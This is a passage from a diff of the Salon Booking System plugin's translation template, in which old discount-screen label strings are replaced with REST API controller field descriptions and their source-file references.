System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:662\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:599\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:616\n+msgid \"The sunday.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79\n-msgid \"Reservations amount collected by a single customer\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:439\n+msgid \"The target services ids for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:80\n-msgid \"Customer score points\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:552\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:682\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:619\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:552\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:682\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:619\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:636\n+msgid \"The thursday.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:81\n-msgid \"On these specific date period\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1409\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1578\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1409\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1578\n+msgid \"The time for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:82\n-msgid \"On these specific days of the week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:615\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:644\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:751\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:711\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:615\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:644\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:751\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:682\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:711\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:705\n+msgid \"The to date.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:104\n-msgid \"Number of reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:587\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:658\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:721\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:654\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:725\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:587\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:658\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:721\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:654\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:725\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:675\n+msgid \"The to time.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:111\n-msgid \"Amount of reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:735\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:838\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:735\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:838\n+msgid \"The total amount of reservations.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:118\n-msgid \"Customer has at least points as a score\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1620\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1833\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1620\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1833\n+msgid \"The transaction id for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:522, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:522, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:130, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:509, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:522\n-msgid \"From\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:542\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:672\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:542\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:672\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:609\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:626\n+msgid \"The tuesday.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139, views\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54, src\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:538, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:538, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:139, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:54, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:538, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:525, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:538, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:538\n-msgid \"To\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1893\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1893\n+msgid \"The type\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:152\n-msgid \"Select one or more days of the week where the discount is valid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:431\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:450\n+msgid \"The type (auto or rules) for the resource.\"\n msgstr \"\"\n \n-#: views\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:160\n-msgid \"Add new rule\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: 